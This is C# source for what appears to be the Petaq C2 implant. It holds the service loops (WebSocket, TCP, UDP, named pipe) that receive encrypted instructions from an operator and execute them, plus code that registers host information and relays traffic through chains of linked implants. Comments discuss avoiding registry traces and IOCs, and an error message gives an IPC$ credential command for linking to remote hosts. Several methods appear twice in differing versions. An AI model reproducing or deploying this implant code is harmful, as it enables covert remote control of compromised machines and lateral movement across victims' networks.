public override bool Send(string data = "") { if (data == "") { return(false); } try { if (Status) { Console.Error.WriteLine("Data sending:\n{0}", Common.Decrypt(data)); //Data is writing to the Named client pipe... NamedPipeClientWriteStream.WriteString(data); } else { Console.WriteLine("The Named Pipe is not connected."); } return(true); } catch (Exception e) { Console.Error.WriteLine("Named Pipe Client Exception on Send: " + e.Message); Status = false; // setting the status to false return(false); } }
public async Task Receive() { try { while (webSocket.State == WebSocketState.Open) { Console.Error.WriteLine("Waiting for an instruction..."); byte[] rbuffer = new byte[receiveChunkSize]; var result = await webSocket.ReceiveAsync(new ArraySegment <byte>(rbuffer), CancellationToken.None); string instruction = (string)Encoding.UTF8.GetString(rbuffer).Replace("\0", string.Empty); instruction = Common.Decrypt(instruction); Console.Error.WriteLine("Got an instruction:\n{0}", instruction); PetaqImplant.Instructions.Instruct(instruction); if (result.MessageType == WebSocketMessageType.Close) { Console.Error.WriteLine("Socket is closing..."); await StopAsync(); } } } catch (Exception e) { Console.Error.WriteLine("The service stopped responding: {0}", e); await StopAsync(); } }
public static void RegisterLinkedImplants() { Console.WriteLine("Registering the linked sessions."); string link_data = Common.Encrypt("registerlinks " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetLinkedImplantsJSON()))); LinkService.Send(link_data); Console.WriteLine(Common.Decrypt(link_data)); }
public void LinkedServiceSend(string output) { // Decrypt the output for processing output = Common.Decrypt(output); // Instruction to process before sending string inst = Regex.Split(output, " ")[0]; switch (inst) { case "transmit": // Get the ID as the linked implant passes the data through string transmitId = Regex.Split(output, " ")[1]; // Pass-Through the output to the linked service Program.LinkService.Send(Common.Encrypt(output)); break; case "routeupdates": Console.WriteLine("Processing route updates coming from {0}", sessionId); // Routing protocol string route_data = output; if (Regex.Split(output, " ").Length == 2) { // don't touch the session ID as it's routed // add the next hop to the route for received session ID Console.WriteLine("Adding the route updates coming from {0}", sessionId); Program.implantRoutes.TryAdd(Regex.Split(output, " ")[1], sessionId); } else { Console.WriteLine("The route updates coming from {0} passing through", sessionId); // add the implant's ID to the route for the C2 root route_data += " " + sessionId; } // Pass-Through the output to the linked service Program.LinkService.Send(Common.Encrypt(route_data)); break; default: // Sending the linked implant output to the linked service Program.LinkService.Send(Common.Encrypt("transmit " + sessionId + " " + output)); break; } }
public override void Start() { try { // Setting up the variables for listener ListenPort = int.Parse(Program.configuration["LISTENPORT"]); // Setting the service status Status = true; // Listener is configuring UDPService = new UdpClient(ListenPort); while (Status) { //Console.Error.WriteLine("The EP is setting."); IPEndPoint ep = new IPEndPoint(IPAddress.Any, ListenPort); Console.Error.WriteLine("Waiting for linking... "); // Read stream as string and process while (Status) { // When data received, Endpoint gets updated byte[] data = UDPService.Receive(ref ep); // Copy the endpoint to the UDPClient to send data later UDPClient = ep; // Send registration info first when a socket established if (!LinkStatus) { Console.Error.WriteLine("Registering the implant information."); string registration_data = Common.Encrypt("register " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetInfo()))); Send(registration_data); } // Set the link status as data received LinkStatus = true; ////Instruction received from the UDP client... string instruction = Encoding.UTF8.GetString(data); instruction = Common.Decrypt(instruction); ////Instruction is processing... Instructions.Instruct(instruction); } } } catch (Exception e) { Console.Error.WriteLine("UDP Service Exception on Receive: " + e.Message); Status = false; LinkStatus = false; } finally { Stop(); } }
public override void Start() { try { // Setting up the variables for listener ListenPort = int.Parse(Program.configuration["LISTENPORT"]); // Setting the service status Status = true; // Get a new session link. while (Status) { // Listener is configuring TCPService = new TcpListener(IPAddress.Any, ListenPort); // Start listening for client requests. TCPService.Start(); Console.Error.WriteLine("Waiting for linking... "); // Perform a blocking call to accept requests. TCPClient = TCPService.AcceptTcpClient(); Console.Error.WriteLine("The implant is being linked."); LinkStatus = true; Console.Error.WriteLine("Stopping the service as the implant is being linked."); // Stopping the listener as the implant is being linked. TCPService.Stop(); // Read stream as string and process while (LinkStatus) { // Get a stream object for reading and writing NetworkStream stream = TCPClient.GetStream(); // Creating StreamString class for string based communications TCPClientStream = new StreamString(stream); //Instruction received from the TCP client... string instruction = TCPClientStream.ReadString(); instruction = Common.Decrypt(instruction); //Instruction is processing... Instructions.Instruct(instruction); } } } catch (Exception e) { Console.Error.WriteLine("TCP Service Exception on Receive: " + e); Status = false; LinkStatus = false; } finally { Stop(); } }
public async Task Receive() { try { while (webSocket.State == WebSocketState.Open) { Console.Error.WriteLine("Waiting for an instruction..."); byte[] rbuffer = new byte[receiveChunkSize]; var result = await webSocket.ReceiveAsync(new ArraySegment <byte>(rbuffer), CancellationToken.None); string instruction = Regex.Replace((string)Encoding.UTF8.GetString(rbuffer), "\0", string.Empty); instruction = Common.Decrypt(instruction); Console.Error.WriteLine("Got an instruction:\n{0}", instruction); //If message is multi-part, get the second part and then construct the instruction if (instruction.Contains("MULTIPARTTRANSMISSION")) { Console.Error.WriteLine("Getting second part of the instruction..."); int partialChunkSize; string clearinstruction; string partialData = ""; // Get the data size and reconstruct the instruction if (instruction.StartsWith("MULTIPARTTRANSMISSION")) { // Get the data size to read the buffer partialChunkSize = int.Parse(Regex.Split(instruction, " ")[1]); clearinstruction = String.Join(" ", Regex.Split(instruction, " ").SubArray(2, Regex.Split(instruction, " ").Length - 2)); while (partialData.Length < partialChunkSize) { // Receive the partial data and decrypt byte[] pbuffer = new byte[partialChunkSize - partialData.Length]; result = await webSocket.ReceiveAsync(new ArraySegment <byte>(pbuffer), CancellationToken.None); partialData += Regex.Replace((string)Encoding.UTF8.GetString(pbuffer), "\0", string.Empty); } partialData = Common.Decrypt(partialData); } else { // Get the data size to read the buffer and add transmit header (transmit ID) partialChunkSize = int.Parse(Regex.Split(instruction, " ")[3]); // Reconstruct the transmission clearinstruction = "transmit " + Regex.Split(instruction, " ")[1] + " " + String.Join(" ", Regex.Split(instruction, " ").SubArray(4, Regex.Split(instruction, " ").Length - 4)); while (partialData.Length < partialChunkSize) { // Receive the partial data and decrypt byte[] pbuffer = new byte[partialChunkSize - partialData.Length]; result = await webSocket.ReceiveAsync(new ArraySegment <byte>(pbuffer), CancellationToken.None); partialData += Regex.Replace((string)Encoding.UTF8.GetString(pbuffer), "\0", string.Empty); } partialData = Common.Decrypt(partialData); // As format seen below, remove the transmit and ID // transmit V8OLRLP49S3OR1J3TJ3E MjMuamtsbDIzaWg0MzIK partialData = Regex.Split(partialData, " ")[2]; } // add the partial data to the reconstructed instruction clearinstruction = Regex.Replace(clearinstruction, "FILECONTENTPLACEHOLDER", partialData); instruction = clearinstruction; } //Console.Error.WriteLine(instruction); // If scenario is requested call scenario, otherwise run instructions if (instruction.StartsWith("scenario")) { if (Regex.Split(instruction, " ").Length < 3) { // Set the socket as the Console output Program.consoleIO = Console.Out; Console.SetOut(new SocketWriter()); // Raise the error Console.WriteLine("Usage: scenario ImplantID filepath"); } else { // scenario instruction format: // scenario file BASE64STRING string scenario_b64 = Regex.Split(instruction, " ")[2]; // send the Base64 encoded scenario to run PetaqImplant.Scenario.Run(scenario_b64); } } else { // run the instruction received PetaqImplant.Instructions.Instruct(instruction, new SocketWriter()); } if (result.MessageType == WebSocketMessageType.Close) { Console.Error.WriteLine("Socket is closing..."); await StopAsync(); } } } catch (Exception e) { Console.Error.WriteLine("The service stopped responding: {0}", e); await StopAsync(true); } }
public override void Start() { Status = true; while (Status) { Console.Error.WriteLine("Service loop starting..."); try { // As the Named Pipes on the network only accessible // via SMB IPC$ connections established // we need to connect to the remote server IPC$ // if necessary with the creds // // This points out that named pipe over network // with null IPC $ is possible // However, the pipe name should appear on the registry // which creates traces, IOCs // https://support.microsoft.com/en-au/help/813414/how-to-create-an-anonymous-pipe-that-gives-access-to-everyone // Allowing "Everyone" for the named pipe access PipeSecurity ps = new PipeSecurity(); PipeAccessRule AccessRule = new PipeAccessRule("Everyone", PipeAccessRights.FullControl, System.Security.AccessControl.AccessControlType.Allow); ps.AddAccessRule(AccessRule); // Currently implementation has 2 named pipes in use for IO NamedPipeServiceRead = new NamedPipeServerStream(NamedPipeServiceName + "i", PipeDirection.InOut, 1); NamedPipeServiceWrite = new NamedPipeServerStream(NamedPipeServiceName + "o", PipeDirection.InOut, 1); //NamedPipeServiceRead = new NamedPipeServerStream(NamedPipeServiceName + "i", PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 0, 0, ps); //NamedPipeServiceWrite = new NamedPipeServerStream(NamedPipeServiceName + "o", PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 0, 0, ps); Console.Error.WriteLine("Waiting for linking..."); // Waiting for linking for both service NamedPipeServiceRead.WaitForConnection(); NamedPipeServiceWrite.WaitForConnection(); // Setting write stream for the write named pipe NamedPipeServiceWriteStream = new StreamString(NamedPipeServiceWrite); // There are 2 connections, so linking starts Console.Error.WriteLine("The implant is being linked."); // If there is no instruction sent to the pipe // the implant doesn't sent the data in buffer to the link // This loop is not great for bidirectional comms // To be fixed for future callbacks and triggers while (true) { LinkStatus = true; //Create the stream NamedPipeServiceReadStream = new StreamString(NamedPipeServiceRead); //New Named client connected string instruction = NamedPipeServiceReadStream.ReadString(); //Instruction received from the Named client... instruction = Common.Decrypt(instruction); //Console.Error.WriteLine("Data received:\n{0}", instruction); // If scenario is requested call scenario, otherwise run instructions if (instruction.StartsWith("scenario")) { if (Regex.Split(instruction, " ").Length < 3) { // Set the socket as the Console output Program.consoleIO = Console.Out; Console.SetOut(new SocketWriter()); // Raise the error Console.WriteLine("Usage: scenario file filepath"); } else { // scenario instruction format: // scenario file BASE64STRING string scenario_b64 = Regex.Split(instruction, " ")[2]; // send the Base64 encoded scenario to run PetaqImplant.Scenario.Run(scenario_b64); } } else { // run the instruction received PetaqImplant.Instructions.Instruct(instruction, new SocketWriter()); } } } catch (Exception e) { Console.Error.WriteLine("Named Pipe Service Exception on Receive: " + e.Message); LinkStatus = false; } finally { Stop(); } } }
public override void Start() { try { // Setting up the variables for listener ListenPort = int.Parse(Program.configuration["LISTENPORT"]); // Setting the service status Status = true; // Listener is configuring UDPService = new UdpClient(ListenPort); while (Status) { //Console.Error.WriteLine("The EP is setting."); IPEndPoint ep = new IPEndPoint(IPAddress.Any, ListenPort); Console.Error.WriteLine("Waiting for linking... "); // Read stream as string and process while (Status) { // When data received, Endpoint gets updated byte[] data = UDPService.Receive(ref ep); // Copy the endpoint to the UDPClient to send data later UDPClient = ep; // Send registration info first when a socket established if (!LinkStatus) { Console.Error.WriteLine("Registering the implant information."); string registration_data = Common.Encrypt("register " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetInfo()))); Send(registration_data); } // Set the link status as data received LinkStatus = true; ////Instruction received from the UDP client... string instruction = Encoding.UTF8.GetString(data); instruction = Common.Decrypt(instruction); // If scenario is requested call scenario, otherwise run instructions if (instruction.StartsWith("scenario")) { if (Regex.Split(instruction, " ").Length < 3) { // Set the socket as the Console output Program.consoleIO = Console.Out; Console.SetOut(new SocketWriter()); // Raise the error Console.WriteLine("Usage: scenario file filepath"); } else { // scenario instruction format: // scenario file BASE64STRING string scenario_b64 = Regex.Split(instruction, " ")[2]; // send the Base64 encoded scenario to run PetaqImplant.Scenario.Run(scenario_b64); } } else { // run the instruction received PetaqImplant.Instructions.Instruct(instruction, new SocketWriter()); } } } } catch (Exception e) { Console.Error.WriteLine("UDP Service Exception on Receive: " + e.Message); Status = false; LinkStatus = false; } finally { Stop(); } }
public override void Connect(string sid, string sa, string option = null) { Console.Error.WriteLine("Named Pipe is linking."); ServerAddress = sa; sessionId = sid; // Starting the Named Pipe Connection as a thread clientThread = new Thread(() => { try { // Reurposed from the Microsoft sample implementation // https://docs.microsoft.com/en-us/dotnet/standard/io/how-to-use-named-pipes-for-network-interprocess-communication // Custom Named Pipe name support if (option != null) { NamedPipeServiceName = option; } Console.Error.WriteLine("Named pipes are defining."); // Creating the Named Pipe objects NamedPipeClientRead = new NamedPipeClientStream(ServerAddress, NamedPipeServiceName + "o", PipeDirection.InOut, PipeOptions.Asynchronous, TokenImpersonationLevel.Impersonation); NamedPipeClientWrite = new NamedPipeClientStream(ServerAddress, NamedPipeServiceName + "i", PipeDirection.InOut, PipeOptions.Asynchronous, TokenImpersonationLevel.Impersonation); // As the Named Pipes on the network only accessible // via SMB IPC$ connections established // we need to connect to the remote server IPC$ // if necessary with the creds // // This points out that named pipe over network // with null IPC $ is possible // However, the pipe name should appear on the registry // which creates traces, IOCs // https://support.microsoft.com/en-au/help/813414/how-to-create-an-anonymous-pipe-that-gives-access-to-everyone Console.Error.WriteLine("Named pipes on {0} are connecting.", ServerAddress); // Connecting to the Named Pipes NamedPipeClientRead.Connect(); NamedPipeClientWrite.Connect(); Status = true; // Register linked implants as registration started Console.WriteLine("Session {0} is added to the linked sessions.", sessionId); Program.RegisterLinkedImplants(); Console.Error.WriteLine("Streams are building."); // Creating StreamStrings class for string based communications NamedPipeClientReadStream = new StreamString(NamedPipeClientRead); NamedPipeClientWriteStream = new StreamString(NamedPipeClientWrite); // Request registration first if (!Registration) { // Requesting the registration AskRegistration(); } Console.WriteLine("Registration asked."); //Ask route updates //AskRouteUpdates(); //Console.WriteLine("Route updates is requesting..."); //Send(Common.Encrypt("routeupdates")); //Console.Error.WriteLine("Route update is requested. Status {0}", Status); Console.Error.WriteLine("Read loop is starting..."); // Read Pipe stream as string and process while (Status) { Console.Error.WriteLine("Listening to the pipe for data."); // Reading the data from the socket string output = NamedPipeClientReadStream.ReadString(); Console.Error.WriteLine("Data received:\n{0}", Common.Decrypt(output)); // Process the data and send to the linked service LinkedServiceSend(output); // Asking route updates makes the service unresponsive // Maybe waiting for a grace period would work // // Request route after the first response //if (!Route) //{ // // Requesting the registration // AskRouteUpdates(); // Console.WriteLine("Route updates asked."); //} } Console.Error.WriteLine("Stopping listen to the pipe for data."); } catch (Exception e) { string warn = "\nInvalid credentials error may occur if the logged on user has no access to remote server IPC$. Try this before linking 'net use \\\\servername\\IPC$ /user:domain\\user password'. Named pipe would accept null IPC$, though, but this time it leaves traces on the registry."; Console.WriteLine("{0}\nNamed Pipe Client Exception on Connect/Receive: {1}", warn, e.Message); } finally { // Dispose the Named pipe after use Disconnect(); } }); clientThread.Start(); }
public override void Start() { try { // Setting up the variables for listener ListenPort = int.Parse(Program.configuration["LISTENPORT"]); // Setting the service status Status = true; // Get a new session link. while (Status) { // Listener is configuring TCPService = new TcpListener(IPAddress.Any, ListenPort); // Start listening for client requests. TCPService.Start(); Console.Error.WriteLine("Waiting for linking... "); // Perform a blocking call to accept requests. TCPClient = TCPService.AcceptTcpClient(); Console.Error.WriteLine("The implant is being linked."); LinkStatus = true; Console.Error.WriteLine("Stopping the service as the implant is being linked."); // Stopping the listener as the implant is being linked. TCPService.Stop(); // Read stream as string and process while (LinkStatus) { // Get a stream object for reading and writing NetworkStream stream = TCPClient.GetStream(); // Creating StreamString class for string based communications TCPClientStream = new StreamString(stream); //Instruction received from the TCP client... string instruction = TCPClientStream.ReadString(); instruction = Common.Decrypt(instruction); // If scenario is requested call scenario, otherwise run instructions if (instruction.StartsWith("scenario")) { if (Regex.Split(instruction, " ").Length < 3) { // Set the socket as the Console output Program.consoleIO = Console.Out; Console.SetOut(new SocketWriter()); // Raise the error Console.WriteLine("Usage: scenario file filepath"); } else { // scenario instruction format: // scenario file BASE64STRING string scenario_b64 = Regex.Split(instruction, " ")[2]; // send the Base64 encoded scenario to run PetaqImplant.Scenario.Run(scenario_b64); } } else { // run the instruction received PetaqImplant.Instructions.Instruct(instruction, new SocketWriter()); } } } } catch (Exception e) { Console.Error.WriteLine("TCP Service Exception on Receive: " + e); Status = false; LinkStatus = false; } finally { Stop(); } }